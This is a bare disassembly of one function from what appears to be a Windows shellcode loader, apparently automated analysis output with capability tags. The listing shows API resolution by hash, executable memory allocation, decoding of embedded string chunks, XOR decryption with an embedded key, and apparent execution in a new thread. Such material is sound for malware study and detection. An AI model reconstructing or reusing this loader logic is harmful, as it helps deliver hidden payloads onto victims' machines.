Function at 0x140001290
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x28
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xa1ac870c
call fcn.1400011c0
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call rax
lea rcx, str.KERNEL32.DLL
mov rdi, rax
call section..text
mov rcx, rax
mov edx, 0x55f2048
call fcn.1400011c0
mov rdx, rdi
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
mov rbx, rax
call section..text
mov rcx, rax
mov edx, 0x53d57505
call fcn.1400011c0
mov rcx, rbx
call rax
lea rcx, str.KERNEL32.DLL
mov rbp, rax
call section..text
mov rcx, rax
mov edx, 0x3bc33116
call fcn.1400011c0
mov rdx, rdi
xor ecx, ecx
call rax
mov ecx, eax
movabs rax, 0xc7ce0c7ce0c7ce0d
mul rcx
lea rcx, str.KERNEL32.DLL
mov rdi, rdx
shr rdi, 5
call section..text
mov rcx, rax
mov edx, 0x18a737d6
call fcn.1400011c0
lea rcx, [rdi*8]
mov r9d, 0x40
mov qword [rsp + 0x68], rcx
mov rdx, rcx
xor ecx, ecx
mov r8d, 0x3000
call rax
xor ebx, ebx
mov r14, rax
mov esi, ebx
test rdi, rdi
je 0x1400013c8
nop word [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x18a737d6
call fcn.1400011c0
mov edx, 0x27
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx + 0x19]
call rax
mov qword [r14 + rsi*8], rax
inc rsi
cmp rsi, rdi
jb 0x140001390
mov r8, rbx
mov rdx, rbx
test rdi, rdi
je 0x1400015e9
nop word [rax + rax]
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp]
mov byte [rcx], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 1]
mov byte [rcx + 1], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 2]
mov byte [rcx + 2], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 3]
mov byte [rcx + 3], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 4]
mov byte [rcx + 4], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 5]
mov byte [rcx + 5], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 6]
mov byte [rcx + 6], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 7]
mov byte [rcx + 7], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 8]
mov byte [rcx + 8], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 9]
mov byte [rcx + 9], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xa]
mov byte [rcx + 0xa], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xb]
mov byte [rcx + 0xb], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xc]
mov byte [rcx + 0xc], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xd]
mov byte [rcx + 0xd], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xe]
mov byte [rcx + 0xe], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xf]
mov byte [rcx + 0xf], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x10]
mov byte [rcx + 0x10], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x11]
mov byte [rcx + 0x11], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x12]
mov byte [rcx + 0x12], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x13]
mov byte [rcx + 0x13], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x14]
mov byte [rcx + 0x14], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x15]
mov byte [rcx + 0x15], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x16]
mov byte [rcx + 0x16], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x17]
mov byte [rcx + 0x17], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x18]
mov byte [rcx + 0x18], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x19]
mov byte [rcx + 0x19], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x1a]
mov byte [rcx + 0x1a], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x1b]
lea r8, [r8 + 0x29]
mov byte [rcx + 0x1b], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xd]
mov byte [rcx + 0x1c], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xc]
mov byte [rcx + 0x1d], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xb]
mov byte [rcx + 0x1e], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xa]
mov byte [rcx + 0x1f], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 9]
mov byte [rcx + 0x20], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 8]
mov byte [rcx + 0x21], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 7]
mov byte [rcx + 0x22], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 6]
mov byte [rcx + 0x23], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 5]
mov byte [rcx + 0x24], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 4]
mov byte [rcx + 0x25], al
mov rcx, qword [r14 + rdx*8]
inc rdx
movzx eax, byte [r8 + rbp - 3]
mov byte [rcx + 0x26], al
cmp rdx, rdi
jb 0x1400013e0
mov r15, rdi
mov qword [rsp + 0x70], r12
lea rcx, str.KERNEL32.DLL
shl r15, 4
mov qword [rsp + 0x20], r13
call section..text
mov rcx, rax
mov edx, 0x18a737d6
call fcn.1400011c0
xor ecx, ecx
mov edx, 0x2bc
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rax
test rbp, rbp
je 0x14000180a
lea rcx, str.NTDLL.DLL
call section..text
mov rcx, rax
mov edx, 0x9c9fdc12
call fcn.1400011c0
lea rcx, str.KERNEL32.DLL
mov qword [rsp + 0x60], rbx
mov r13, rax
call section..text
mov rcx, rax
mov edx, 0x18a737d6
call fcn.1400011c0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r15
xor ecx, ecx
call rax
mov r12, rax
test rax, rax
je 0x14000180a
mov rbp, rax
mov rsi, rbx
test rdi, rdi
je 0x1400016c3
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r14 + rsi*8]
lea rdx, [rsp + 0x60]
mov r8, rbp
call r13
test eax, eax
jne 0x14000180a
add rbp, 0x10
inc rsi
cmp rsi, rdi
jb 0x1400016a0
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x18a737d6
call fcn.1400011c0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call rax
mov rsi, rax
test r15, r15
je 0x140001740
sub r12, rax
lea r10, str.DkimKfxlL4DFObh5kBSlLgcyS8qiGnSRC2ztdmM1tiBGZIcPXZdw1pNCkDnMVsuiMuAFEO03zknBGK2audb0PWkNpGtr9gEtvyLyHJysQaw48oJJoeI0v1e4n86sySvkPLGXvV5kZo3zLgSzbdnQTOajTJ3dFg0LNN7O5Q1kFAjINy1t260SkvuRzhIJGklKYvvYK90T68muN7is4D7pY5ySTrLMmXTz2HZz70QuPSH7DmUjeyedAWycacULgkddNd9gQ4wBcv5cWE1ZHelTsu7mAF1LvzNBwW21SVKyaxTDF4sqyW2JoMJJpEiEz3oADCn6LLuUyBPOTHDYzMvR1cmZ4njk5DuNvlq2JEa9Nj6TckrVRPUHN7FJZxzMdzYPulKb24SY4blepsj4kTbWZKqnm9iEbT3V6wSKWbsI1CSRRGDvf0qx1fMCHeH3A86lCikNIUFkWu8TiqeMRMhqf8okwpEv7Z35HDpB9QF5DfQtTlg07WT9w8ZNLbkYGNBk8tv9TQVenwYdrRACdrno2Jq0BpCo9CIPIpxF6VKKDh6YhsM5ECrYmBLau9ywI5rf8unK1Nperv6yq7rPdkmZ6G3zAR1oiXmGbH5O9yADXgHErqdHrIEBMOSbqnhuJdTTl5fDSVJendzAiJmNZNGsX9tQhKyiXn9i162pOvB1WaVFHHAgRBnkeXaYxQIF
movabs r9, 0x2ecfb9c869536203
nop dword [rax + rax]
lea r8, [rbx + rsi]
mov rcx, rbx
mov rax, r9
mul rbx
inc rbx
shr rdx, 7
imul rax, rdx, 0x2bc
sub rcx, rax
movzx eax, byte [rcx + r10]
xor al, byte [r8 + r12]
mov byte [r8], al
cmp rbx, r15
jb 0x140001710
nop
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x4662bf1c
call fcn.1400011c0
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
mov rbx, rax
call section..text
mov rcx, rax
mov edx, 0xa583ebd8
call fcn.1400011c0
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x8461ff41
call fcn.1400011c0
mov rcx, rbx
call rax
test rdi, rdi
je 0x1400017df
nop word [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x5783fb3f
call fcn.1400011c0
mov edx, 0x27
mov r8d, 0x8000
mov rcx, r14
call rax
sub rdi, 1
jne 0x1400017b0
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x5783fb3f
call fcn.1400011c0
mov rdx, qword [rsp + 0x68]
mov r8d, 0x8000
mov rcx, r14
call rax
jmp 0x14000180c
xor eax, eax
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x70]
add rsp, 0x28
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret